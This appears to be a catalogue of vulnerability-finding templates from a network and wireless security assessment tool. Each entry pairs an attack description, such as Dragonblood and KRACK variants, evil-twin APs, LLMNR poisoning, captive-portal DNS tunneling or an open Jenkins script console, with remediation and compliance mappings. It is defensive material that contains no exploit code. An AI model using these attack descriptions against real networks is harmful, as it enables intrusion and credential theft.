NIST 800-53: IA-2, AC-3, SC-7
PCI DSS 4: 2.2.1, 8.3.1
CRITICAL SS3-196 — RabbitMQ: Default Credentials (guest/guest)
Description: The RabbitMQ management UI is accessible with default credentials (guest/guest). The management API returned cluster overview data confirming full administrative access.
Impact: An attacker gains full administrative control of the message broker — able to read, modify, and delete message queues, create new users, access published messages containing potentially sensitive data, and disrupt message-dependent applications.
Remediation: Change or delete the default guest account immediately. Create named accounts with strong passwords and least-privilege permissions. Restrict management UI access to trusted networks.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
MITRE ATT&CK: T1078 (Persistence)
NIST 800-53: IA-5, IA-5(1)
PCI DSS 4: 2.1.1, 8.3.6
CRITICAL SS3-201 — Cloud Metadata Endpoint Accessible
Description: The cloud instance metadata endpoint (169.254.169.254) is accessible from an internal web service, indicating potential SSRF vulnerability or misconfigured network controls.
Impact: An attacker can extract cloud IAM temporary credentials, enabling full compromise of the cloud environment — lateral movement to other cloud services, data exfiltration from S3/Blob/GCS, and privilege escalation.
Remediation: Implement IMDSv2 (AWS) requiring session tokens. Block outbound access to 169.254.169.254 from application containers. Implement network policies restricting metadata endpoint access.
Effort: Moderate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
OWASP Web: OWASP-A10:2021
OWASP API: OWASP-API10:2023
MITRE ATT&CK: T1552.005 (Credential Access)
NIST 800-53: AC-3, SC-7
PCI DSS 4: 6.2.4
CRITICAL SS3-202 — Jenkins: Unauthenticated Groovy Console (RCE)
Description: The Jenkins Groovy Script Console at /script is accessible without authentication, allowing execution of arbitrary Groovy code on the Jenkins server.
Impact: An attacker achieves immediate remote code execution on the Jenkins server. This enables reading credentials from the Jenkins credential store, modifying CI/CD pipelines for supply chain attacks, pivoting to build targets, and establishing persistent backdoors.
Remediation: Immediately restrict access to the Jenkins Script Console (/script) by configuring authentication. Enable Jenkins security realm and authorization strategy. Restrict access by IP at the network level.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: OWASP-A01:2021
MITRE ATT&CK: T1059 (Execution), T1195.002 (Initial Access)
NIST 800-53: IA-2, AC-3, AC-6
PCI DSS 4: 2.2.1, 6.2.4
CRITICAL SS3-206 — SMBv3 Remote Code Execution (CVE-2020-0796)
Description: The host is vulnerable to CVE-2020-0796 (SMBGhost), a buffer overflow in SMBv3 compression handling in Windows 10 (1903/1909) and Server 2019. Detected via nmap smb-vuln-cve-2020-0796 NSE script.
Impact: An unauthenticated attacker can achieve remote code execution with SYSTEM privileges via a specially crafted SMBv3 compressed packet. This is a wormable vulnerability — no user interaction required.
Remediation: Apply Microsoft security update KB4551762 immediately. Disable SMBv3 compression as a temporary mitigation via PowerShell: Set-ItemProperty -Path 'HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters' DisableCompression -Type DWORD -Value 1.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
MITRE ATT&CK: T1210 (Lateral Movement)
NIST 800-53: SI-2, SI-3
PCI DSS 4: 6.3.3
CISA KEV
CRITICAL SS3-207 — FTP Default Credentials Accepted
Description: The FTP service accepted well-known default or factory-set credentials, granting authenticated access to the file transfer service.
Impact: An attacker with knowledge of default credentials can authenticate to the FTP service, potentially reading sensitive files, uploading malicious content, or using the server as a staging point for lateral movement. Default credentials are among the first things attackers test and are trivially discoverable.
Remediation: Change all FTP credentials from factory defaults to strong, unique passwords. Disable unnecessary FTP accounts. Consider replacing FTP with SFTP (SSH file transfer) for encrypted credential transmission.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 – Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Initial Access), T1110.001 (Credential Access)
NIST 800-53: IA-5, AC-7
PCI DSS 4: 8.3.6, 2.1.1
CRITICAL SS3-217 — Default Credentials: {SERVICE}
Description: brutespray confirmed that a network service accepts default or factory-preset credentials. The service responded with a successful authentication using a well-known username/password combination.
Impact: An attacker can immediately authenticate to the service using widely-known default credentials. Depending on the service, this may provide full administrative access, ability to read/modify data, execute commands, pivot to other systems, or completely compromise the host. Default credentials are among the most commonly exploited vulnerabilities.
Remediation: Change all default credentials immediately. Implement strong, unique passwords for all service accounts. Deploy account lockout policies. Consider disabling unnecessary services entirely.
Effort: Easy
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
OWASP Web: A07:2021 - Identification and Authentication Failures
MITRE ATT&CK: T1078.001 (Persistence), T1110 (Credential Access)
NIST 800-53: IA-5, AC-2
PCI DSS 4: 2.1.1, 8.2.2
HIGH AETHER-002 — WPA Handshake Captured
Description: A complete WPA/WPA2 4-way handshake or PMKID was captured for the target SSID. While the PSK has not yet been recovered, the captured material can be subjected to unlimited offline brute-force or dictionary attacks without further access to the network. The handshake was obtained via deauthentication of a connected client or passive PMKID capture.
Remediation: Change the WPA/WPA2 PSK to a strong, unique passphrase not present in public wordlists. Enable WPA3-SAE to replace the 4-way handshake authentication exchange with a forward-secret SAE commit/confirm protocol that is resistant to offline attacks. If WPA3 is not available, enforce a minimum passphrase length of 20+ characters drawn from a high-entropy random source.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
HIGH AETHER-004 — WPA3 SAE Dragonblood — Invalid Curve Attack Confirmed
Description: The target WPA3 SAE implementation accepted an invalid elliptic-curve point during the SAE Commit exchange (attack mode 1 — invalid curve). This is a variant of the Dragonblood vulnerability class disclosed by Mathy Vanhoef and Eyal Ronen. Exploitation allows an active attacker to trick the AP into performing computations on a weak curve, potentially leaking the password encoding and enabling offline dictionary attacks against WPA3 networks that were intended to be resistant to such attacks.
Remediation: Apply firmware updates from the AP vendor that address CVE-2019-9494 and CVE-2019-9495. Ensure the WPA3 implementation validates that received curve points lie on the correct curve (point validation) before performing any SAE computations. Where firmware updates are unavailable, disable WPA3-SAE and use WPA2-Enterprise with EAP-TLS as a mitigation.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-005 — WPA3 SAE Dragonblood — Reflection Attack Confirmed
Description: The target WPA3 SAE implementation is vulnerable to the SAE reflection attack (attack mode 0). By reflecting the AP's own SAE Commit message back to it, the attacking station tricks the AP into deriving the same PWE (Password Element), which can be used to authenticate without knowing the actual PSK under certain conditions. This is part of the Dragonblood vulnerability class (CVE-2019-9494).
Remediation: Apply vendor firmware updates addressing CVE-2019-9494. The fix requires the AP to reject SAE Commit messages whose scalar and element fields match values it previously sent. Upgrade to a patched hostapd/wpa_supplicant version (2.10+).
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-006 — WPA3 SAE Dragonblood — Secondary Invalid Curve Attack Confirmed
Description: The target WPA3 SAE implementation is vulnerable to a secondary invalid curve attack variant (attack mode 2). This variant exploits the same class of point-validation weakness as CVE-2019-9495 but uses a different curve parameter manipulation technique, demonstrating that the AP's SAE implementation does not adequately validate curve points across multiple attack vectors.
Remediation: Apply firmware updates that fully remediate CVE-2019-9495 across all SAE Commit handling code paths. Ensure the patched implementation performs explicit point validation on all received group elements before use in PWE derivation. Verify remediation by re-running dragonslayer attack modes 1 and 2.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-007 — WPA3 SAE Dragonblood — Zero-Scalar Attack Confirmed
Description: The target WPA3 SAE implementation accepted a SAE Commit message with a zero scalar value (attack mode 3). Sending a scalar of zero forces the resulting shared key to be zero or a trivially predictable value, potentially allowing an attacker to authenticate without the actual PSK. This is a variant of the Dragonblood flaw class (CVE-2019-9500–9502).
Remediation: Apply vendor firmware updates addressing CVE-2019-9500 through CVE-2019-9502. The AP must validate that received scalar values are within the valid range (1 ≤ scalar < order) and reject any Commit message with a scalar of zero or order.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N
HIGH AETHER-009 — WPA2 KRACK Vulnerability — Standard 4-Way Handshake Reinstallation
Description: The target client or AP is vulnerable to the KRACK key reinstallation attack targeting the standard 4-way handshake (CVE-2017-13077). By replaying and manipulating handshake message 3, an attacker can cause the client to reinstall an already-in-use pairwise transient key (PTK), resetting its associated nonce and replay counters. This allows the attacker to replay, decrypt, and potentially forge 802.11 frames.
Remediation: Apply OS and driver security updates for all wireless clients that address CVE-2017-13077. On the AP side, apply firmware updates that prevent retransmission of handshake message 3 after the key has already been installed. For Android (especially 6.0), this vulnerability resulted in all-zero key reinstallation; priority patch Android devices. Verify remediation with the krackattacks test scripts.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-010 — WPA2 KRACK Vulnerability — TPTK Variant
Description: The target is vulnerable to the KRACK Temporal PTK (TPTK) variant (CVE-2017-13078). This variant exploits the handling of message 1 of the 4-way handshake to cause nonce reuse in the PTK re-derivation process. The attacker can trigger a PTK reinstallation by injecting a retransmitted handshake message 1 with a replayed ANonce, forcing the client to reinstall an already-used key.
Remediation: Apply security patches addressing CVE-2017-13078 for all affected wireless clients and APs. Ensure the supplicant implementation validates that new handshake sessions use fresh ANonces and that reinstallation of previously installed PTKs is prevented. Review and patch all wpa_supplicant and hostapd deployments to version 2.7+.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-011 — WPA2 KRACK Vulnerability — Group Key Reinstallation
Description: The target is vulnerable to KRACK group key reinstallation (CVE-2017-13080). By replaying group key handshake message 1, an attacker can cause the client to reinstall an already-in-use group temporal key (GTK) with a reset replay counter. This allows the attacker to replay broadcast and multicast frames, which can be leveraged to inject ARP spoofing packets or perform other layer-2 attacks against all clients on the network.
Remediation: Apply patches addressing CVE-2017-13080 for all wireless clients. The fix requires the supplicant to check whether the GTK being installed was already installed with the same key ID, and to reject reinstallation. Additionally, disable GTK rekeying on affected APs as a temporary mitigation until client patches are applied. Upgrade to wpa_supplicant 2.7+.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-012 — WEP Encryption in Use
Description: The target network uses WEP (Wired Equivalent Privacy), which has been cryptographically broken since 2001 (CVE-2001-0309). The RC4 stream cipher reuses 24-bit initialisation vectors (IVs), allowing the FMS, KoreK, and PTW statistical attacks to recover any WEP key from roughly 50 000 captured frames — achievable in under a minute on an active network. An attacker within radio range can decrypt all traffic and authenticate as a legitimate station. WEP was deprecated by IEEE 802.11i in 2004 and formally withdrawn. No patch exists; the protocol must be replaced.
Remediation: Immediately replace WEP with WPA3-Personal (SAE) or at minimum WPA2-Personal (CCMP/AES). WEP cannot be patched — upgrade the AP firmware or replace the device. Segment any WEP-only legacy devices onto an isolated VLAN with no access to sensitive resources until they can be replaced.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
HIGH AETHER-017 — WPA PMKID / EAPOL Hash Captured
Description: hcxdumptool captured a PMKID or EAPOL hash for the target SSID without requiring a connected client or deauthentication. The PMKID is derived as HMAC-SHA1(PMK, 'PMK Name' || AP_MAC || CLIENT_MAC) and is broadcast by the AP in the first EAPOL frame. The captured hash can be subjected to unlimited offline brute-force or dictionary attacks against the WPA PSK without further access to the network.
Remediation: Change the WPA PSK to a strong, randomly-generated passphrase of at least 20 characters not present in any wordlist. Enable WPA3-SAE to replace PMKID-based authentication with the Dragonfly PAKE, which is resistant to offline attacks. If WPA3 is unavailable, enforce a minimum passphrase entropy equivalent to >128 bits (20+ random characters from a large charset).
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:N/A:N
HIGH AETHER-019 — Rogue AP — Clients Associated to Evil Twin
Description: One or more wireless clients associated to an attacker-controlled rogue AP that cloned the target SSID and BSSID. Clients that associate with the rogue AP have all their wireless traffic visible to the attacker; any unencrypted application-layer credentials or session tokens are exposed. Clients with stored network profiles are especially vulnerable as they connect automatically.
Remediation: Deploy WPA3-SAE with PMF (802.11w) set to Required on all APs. Ensure clients validate network certificates where possible (WPA3-Enterprise or certificate-pinned supplicants). Implement wireless intrusion detection to alert on rogue APs. Educate users not to accept certificate warnings or dismiss security prompts on wireless networks.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:L/A:N
HIGH AETHER-027 — ARP Cache Poisoning — MITM Position Established
Description: ARP cache poisoning was successfully performed on the rogue AP's subnet, placing the assessment system in a man-in-the-middle position between wireless clients and the gateway. All unencrypted traffic (HTTP, FTP, Telnet, legacy protocols) was readable, and encrypted traffic was subject to downgrade or stripping attacks. This demonstrates the risk of any attack scenario where a client can be induced to join an attacker-controlled network.
Remediation: Enable Dynamic ARP Inspection (DAI) on managed switches. Deploy HTTPS Strict Transport Security (HSTS) and HSTS preloading to prevent protocol downgrade. Ensure all internal services use TLS. On wireless networks, WPA3-SAE with PMF prevents the initial rogue AP association that enables this attack.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-028 — LLMNR / NBT-NS Poisoning — NTLMv2 Hashes Captured
Description: Responder successfully poisoned LLMNR (Link-Local Multicast Name Resolution) and/or NBT-NS (NetBIOS Name Service) queries on the rogue AP's subnet and captured NTLMv2 challenge/response hashes from Windows clients attempting to resolve non-existent hostnames. These hashes can be cracked offline or used in NTLM relay attacks to authenticate to internal services without cracking.
Remediation: Disable LLMNR via Group Policy: Computer Configuration → Administrative Templates → Network → DNS Client → Turn Off Multicast Name Resolution = Enabled. Disable NBT-NS via WINS settings on the IPv4 adapter: disable NetBIOS over TCP/IP. Implement SMB signing to prevent NTLM relay attacks. Monitor for and alert on unexpected LLMNR/NBT-NS query responses.
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
HIGH AETHER-031 — TKIP ChopChop / Fragmentation Attack — Packet Decryption Confirmed
Description: A TKIP ChopChop or fragmentation attack (Beck-Tews / Ohigashi-Morii) was confirmed against the target network. An attacker can exploit this to decrypt the last 12 bytes of an arbitrary short packet without knowing the key, and to inject up to 7 or 14 bytes of attacker-chosen plaintext per minute. This enables ARP poisoning, DNS spoofing, and decryption of short high-value packets (e.g. ARP replies, DNS responses) on WPA-TKIP networks.
Remediation: Immediately disable TKIP. Migrate the network to WPA2 or WPA3 using only CCMP (AES) as the pairwise cipher. Do not allow TKIP as a fallback cipher for any client.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
HIGH AETHER-033 — Wi-Fi Direct WPS PIN Cracked — Device Compromised
Description: The WPS PIN for a Wi-Fi Direct device was recovered via reaver or a Pixie Dust offline attack. An attacker with this PIN can authenticate to the device's P2P group owner and gain network-level access to the device, potentially enabling access to shared files, printers, or other services exposed over the P2P connection.
Remediation: Disable WPS on all Wi-Fi Direct capable devices. If WPS must remain enabled for operational reasons, disable PIN mode and use only WPS-PBC (push button) with physical access controls. Apply vendor firmware updates to devices vulnerable to Pixie Dust.
CVSS Vector: AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N
HIGH AETHER-CAP-DNS-EXTERNAL — Captive Portal: External DNS Resolution Pre-Authentication
Description: Unauthenticated clients on the open SSID can resolve arbitrary hostnames via external DNS resolvers (e.g. 1.1.1.1, 8.8.8.8) before completing captive portal authentication. The portal is enforcing only at the HTTP/HTTPS layer.
Impact: DNS leakage pre-auth is the foundation for DNS tunneling (iodine, dnscat2) — an attacker can establish a full-duplex tunnel encapsulating arbitrary IP traffic in DNS queries, completely bypassing the portal's billing, AAA, and content controls. Often invisible to the portal vendor's logging because DNS query payloads are not inspected.
Remediation: Block all outbound DNS (UDP/TCP port 53) from unauthenticated guest VLANs except to the captive portal's own resolver, which should only answer for the portal's hostname. Most captive portal vendors (Meraki, Aruba, Ubiquiti) expose a 'walled garden DNS' setting that restricts pre-auth DNS to a tightly-scoped allowlist; enable it.
Effort: Easy
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1071.004 (Command and Control)
NIST 800-53: AC-3, AC-4, SC-7
PCI DSS 4: 1.2.1, 1.4.2
HIGH AETHER-CAP-IPV6 — Captive Portal: IPv6 Dual-Stack Bypass
Description: Direct outbound traffic over IPv6 succeeded from an unauthenticated client on the open SSID, while IPv4 traffic was (or would have been) intercepted by the captive portal. This is the classic dual-stack misconfiguration: the portal filters v4 only.
Impact: The portal's entire access control model is bypassed via IPv6. Unauthenticated clients have full internet access without billing, AAA, or content controls — only via v6. Often invisible in portal vendor consoles that report v4-only statistics. Because v6 connectivity to major content destinations (Cloudflare, Google, Apple, AWS) is widely available, this is a fully practical bypass.
Remediation: Apply identical pre-authentication filtering rules to BOTH IPv4 and IPv6 traffic on the guest VLAN. Many captive portal vendors only filter IPv4 by default — IPv6 advertisements (RAs) leak the v6 prefix to clients which then route around the portal entirely. Either: (a) disable IPv6 on the guest VLAN (RA Guard + suppress RAs), or (b) deploy matching ip6tables/PBR rules. PCI-DSS 4.0 §1.4.5 explicitly requires controls on all network protocols including IPv6.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:N
MITRE ATT&CK: T1071.001 (Command and Control)
NIST 800-53: AC-3, AC-4, SC-7
PCI DSS 4: 1.2.1, 1.4.2
HIGH AETHER-CERT-001 — Weak Server Certificate Algorithm or Key Length
Description: The RADIUS server certificate used for EAP-TLS (or PEAP/TTLS server validation) uses a signature algorithm or RSA key length that is below current cryptographic best practice. SHA-1 and MD5 signatures are deprecated; RSA keys shorter than 2048 bits are considered weak.
Impact: Compromise of the server's private key allows an attacker to impersonate the RADIUS server, present a valid-looking cert to clients, and capture EAP credentials or downgrade authentication. The longer the weak cert remains in service the higher the chance of a key-compromise event being undetected.
Remediation: Re-issue the RADIUS server certificate using SHA-256 or stronger signature algorithm and a 2048-bit RSA key (or ECDSA P-256 / P-384). Rotate via the existing certificate-management workflow without a service window where possible. Verify clients trust the new chain before retiring the old cert.
Effort: Easy
NIST 800-53: SC-13, SC-17
HIGH AETHER-INFO-MIXED-AUTH — Inconsistent Authentication Modes Across APs for Same SSID
Description: An SSID was observed broadcast across multiple BSSIDs with materially different authentication modes. Example: the same SSID name advertised by some APs with WPA2-Enterprise (802.1X) and by other APs with WPA2-PSK. An attacker chooses the weakest AP for that SSID, performs the attack appropriate to that weak mode (PSK crack, evil twin, etc.), and the stronger configuration on the other APs offers no protection because the client connects to whichever AP for that SSID has the best signal.
Impact: Defeats the security boundary intended by the stronger auth mode. On a WPA2-Enterprise SSID where one AP is misconfigured as WPA2-PSK, an attacker captures and offline-cracks the PSK once and gains access equivalent to whatever the strongest AP provided. Common during incomplete WPA3 migrations, after AP swaps, or when a rogue AP intentionally clones the SSID with weaker auth to harvest credentials.
Remediation: Standardise authentication mode across every AP broadcasting a given SSID. The strongest configured auth mode should be the only mode — a single AP using a weaker mode (e.g. WPA2-PSK on an SSID otherwise served by WPA3-SAE or WPA2-Enterprise) means an attacker can target the weaker AP for the same SSID name and bypass the stronger protections entirely. Audit the WLAN controller's per-AP policy bindings; verify intentional WPA2/WPA3 transition mode is configured uniformly rather than per-AP.
Effort: Moderate
CVSS Vector: AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
MITRE ATT&CK: T1557 (Credential Access), T1557.004 (Credential Access)
NIST 800-53: AC-18, SC-8, SC-13
PCI DSS 4: 4.2.1, 11.3.2
HIGH AETHER-IPSK-001 — iPSK MAC-Inheritance Test Succeeded
Description: On a Meraki SSID using Identity PSK (iPSK), the test confirmed that authentication is keyed primarily on MAC address — spoofing a known iPSK-issued MAC inherits the PSK assigned to the original device.
Impact: An attacker who observes a single legitimate device's MAC address can clone the MAC and authenticate to the SSID using the inherited PSK without ever cracking it. Effectively eliminates the per-device PSK assumption.
Remediation: Combine iPSK with additional binding signal (device cert via SM, RADIUS-issued cookie). Validate that the Meraki dashboard's iPSK assignment policy includes RADIUS-based MAC validation rather than local-DB MAC-only lookup.
Effort: Moderate
NIST 800-53: IA-2, IA-3
HIGH AETHER-SPLASH-002 — Captive Portal DNS Bypass — External Resolution Pre-Auth
Description: From the guest SSID before completing the captive portal sign-in, DNS queries to external resolvers (e.g., 8.8.8.8) succeed. The captive portal does not enforce a DNS hijack / sinkhole policy on pre-auth clients. An attacker can tunnel DNS-encoded data through the network without authentication.
Impact: Pre-auth DNS access allows exfiltration via DNS tunneling, covert C2, and abuse of the network's bandwidth without registration. Defeats time-based and quota-based controls.
Remediation: Hijack all DNS queries from pre-auth clients to the captive portal's resolver. Drop port 53 traffic at the AP/firewall for un-authenticated clients except to the captive portal's enforced resolver. Block DNS-over-HTTPS hostnames pre-auth as well.
Effort: Moderate
NIST 800-53: SC-7
HIGH BA-008 — SSH Permitted from External/Untrusted Sources
Description: A firewall rule permits SSH (TCP 22) from untrusted or external sources. SSH brute-force attacks are extremely common against internet-exposed SSH.
Impact: Exposed SSH enables brute-force attacks, credential stuffing, and exploitation of SSH vulnerabilities. Compromised SSH access provides immediate shell access to the target system.
Remediation: 1. Restrict SSH to management IP addresses only. 2. Implement SSH key-based authentication and disable password authentication. 3. Change SSH to a non-standard port (security by obscurity, not a primary control). 4. Implement fail2ban or equivalent brute-force protection. 5. Consider placing SSH behind a jump host or bastion server.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-009 — Telnet Permitted Through Firewall
Description: A firewall rule permits Telnet (TCP 23). Telnet transmits all data including credentials in plaintext and has been deprecated for over 25 years.
Impact: All Telnet communications, including authentication credentials, are transmitted in cleartext and can be intercepted by network eavesdroppers. No confidentiality or integrity protection exists.
Remediation: 1. Immediately block all Telnet traffic. 2. Replace all Telnet-dependent systems with SSH. 3. If Telnet is required for legacy systems, isolate those systems and implement compensating controls. 4. Review device configurations to ensure SSH is enabled on all network equipment.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-8
HIGH BA-012 — MS-RPC Permitted from External Sources (TCP 135)
Description: A firewall rule permits Microsoft RPC (TCP 135) from external sources. MS-RPC is a critical Windows service used for DCOM, WMI, and many Windows management interfaces.
Impact: Exposed MS-RPC enables remote exploitation of Windows services via DCOM and WMI. Historically abused by Blaster, Sasser, and modern APT groups for remote code execution.
Remediation: 1. Block TCP 135 from all external sources. 2. Block the entire RPC dynamic port range (TCP 49152-65535) from external sources. 3. Consider blocking RPC internally except between required systems.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-013 — NetBIOS Permitted Through Firewall
Description: A firewall rule permits NetBIOS (UDP 137-138, TCP 139) traffic. NetBIOS is a legacy Windows protocol that enables reconnaissance, credential theft (LLMNR/NBT-NS poisoning), and lateral movement.
Impact: NetBIOS enables LLMNR and NBT-NS poisoning attacks, NetBIOS name query reconnaissance, and credential capture via Responder-style attacks. Should never traverse firewall boundaries.
Remediation: 1. Block UDP 137, 138 and TCP 139 at all firewall boundaries. 2. Disable NetBIOS over TCP/IP on Windows hosts where not required. 3. Disable LLMNR and NBT-NS via Group Policy.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-014 — SNMP Permitted from Any Source
Description: A firewall rule permits SNMP (UDP 161) from any source address. SNMP exposes device configurations, routing tables, and interface statistics to anyone who can reach the port.
Impact: SNMP v1/v2c use community strings for authentication (effectively cleartext passwords). An attacker with SNMP access can read full device configurations, enumerate network topology, and potentially write configurations if community string permits.
Remediation: 1. Restrict SNMP to dedicated monitoring IP addresses only. 2. Upgrade to SNMPv3 with authentication and encryption. 3. Use ACLs on network devices themselves, not just the firewall. 4. Change default community strings (public/private).
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-015 — SNMP v1/v2c Weak Authentication Exposure
Description: SNMP is permitted through the firewall with likely v1/v2c community string authentication. SNMPv1 and v2c use cleartext community strings that can be sniffed.
Impact: Community strings transmitted in cleartext can be captured and used for unauthorized device access. Many devices ship with default community strings (public/private).
Remediation: 1. Migrate to SNMPv3 with AuthPriv security level. 2. If SNMP v1/v2c must be used, restrict to isolated management VLAN. 3. Change all community strings from defaults. 4. Implement SNMPv3 privacy (encryption) for sensitive data.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:L/A:N
NIST 800-53: SC-8
HIGH BA-016 — WinRM Permitted from External Sources (TCP 5985/5986)
Description: A firewall rule permits Windows Remote Management (WinRM, TCP 5985 HTTP or 5986 HTTPS) from external sources. WinRM provides PowerShell remoting and remote command execution.
Impact: Exposed WinRM enables remote command execution via PowerShell. Commonly used by attackers for lateral movement and persistence once credentials are compromised.
Remediation: 1. Block TCP 5985 and 5986 from all untrusted sources. 2. Restrict WinRM to management IP ranges only. 3. Require HTTPS (5986) over HTTP (5985). 4. Implement WinRM access control lists.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
NIST 800-53: SC-7
HIGH BA-020 — TFTP Permitted Through Firewall
Description: A firewall rule permits TFTP (UDP 69). TFTP has no authentication mechanism — any client that can reach the TFTP server can read and write files.
Impact: TFTP enables unauthenticated file reads and writes. Attackers who can reach TFTP servers can read configuration files, firmware, and write malicious files.
Remediation: 1. Block UDP 69 at all firewall boundaries. 2. Restrict TFTP to isolated management VLAN if required for network device management. 3. Use SCP or SFTP instead of TFTP for device provisioning.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:M/I:H/A:N
NIST 800-53: SC-7
HIGH BA-025 — HTTP Used for Device Management
Description: HTTP (cleartext) is enabled for firewall or device management. All management traffic including credentials is transmitted unencrypted.
Impact: Credentials, session tokens, and configuration changes transmitted via HTTP can be captured by network eavesdroppers. Session hijacking attacks are trivial against HTTP management sessions.
Remediation: 1. Disable HTTP management on all devices. 2. Enable HTTPS with TLS 1.2 minimum. 3. Install a valid management certificate. 4. Redirect any HTTP management connections to HTTPS.
Effort: immediate
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-8
HIGH BA-028 — HTTPS Management Accessible from Any Source
Description: HTTPS device management is accessible from any source IP address. While HTTPS provides encryption, unrestricted access enables credential attacks.
Impact: Unrestricted HTTPS management enables brute-force and credential stuffing attacks against the management interface. Web-based management interfaces have historically contained exploitable vulnerabilities.
Remediation: 1. Restrict HTTPS management to specific management IP ranges. 2. Implement account lockout after failed login attempts. 3. Enable multi-factor authentication for management access where supported.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:M/A:N
NIST 800-53: SC-7
HIGH BA-029 — Permit Rules Without Logging Enabled
Description: One or more permit (allow) rules do not have logging enabled. Traffic matching these rules is not captured in firewall logs.
Impact: Without logging on permit rules, allowed traffic is invisible to security monitoring. Attacks, data exfiltration, and lateral movement that uses permitted paths cannot be detected or investigated.
Remediation: 1. Enable logging on all permit rules. 2. At minimum, enable logging on high-risk rules (any-source, external-to-internal). 3. Forward logs to a centralised SIEM for correlation. 4. Set log level to 'informational' for permit rules to capture connection details.
Effort: short_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
NIST 800-53: AU-2, AU-12
HIGH BA-032 — No DMZ (Demilitarised Zone) Detected
Description: No DMZ zone or interface has been identified in the firewall configuration. Public-facing services appear to be placed in the same zone as internal systems.
Impact: Without a DMZ, compromising a public-facing server (web, email, DNS) provides direct access to internal systems. This eliminates a critical layer of defence-in-depth.
Remediation: 1. Create a dedicated DMZ zone for all public-facing servers. 2. Configure the DMZ with an intermediate security level. 3. Implement strict policies between DMZ and internal zones. 4. Ensure DMZ servers cannot initiate connections to internal systems.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
NIST 800-53: SC-7
HIGH BA-033 — Direct Internet-to-Internal Permit Without DMZ Intermediate
Description: Permit rules exist that allow direct traffic from the external/internet zone to internal high-trust zones without passing through a DMZ or intermediate inspection zone.
Impact: Traffic from the internet reaches internal systems directly. A single exploitation event on an internet-facing system could lead to direct internal network compromise.
Remediation: 1. Redesign traffic flows to route internet traffic through a DMZ. 2. Place all public-facing services in the DMZ. 3. Implement application-layer inspection between DMZ and internal zones. 4. Require explicit permit rules for DMZ-to-internal traffic.
Effort: long_term
CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:L
HIGH BA-034 — Flat Network — Only One Zone or Interface Defined
Description: The firewall configuration defines only a single zone or network interface. All traffic flows through a single segment with no internal segmentation.
Impact: A flat network means a single compromised host can communicate with any other host. Lateral movement is trivial and ransomware can spread unimpeded.
Remediation: 1. Segment the network into functional zones (internal, DMZ, management, guest). 2. Implement firewall policies between each zone pair. 3. Consider microsegmentation for high-value systems. 4. Progressively add zones as part of a phased network redesign.
Effort: long_term
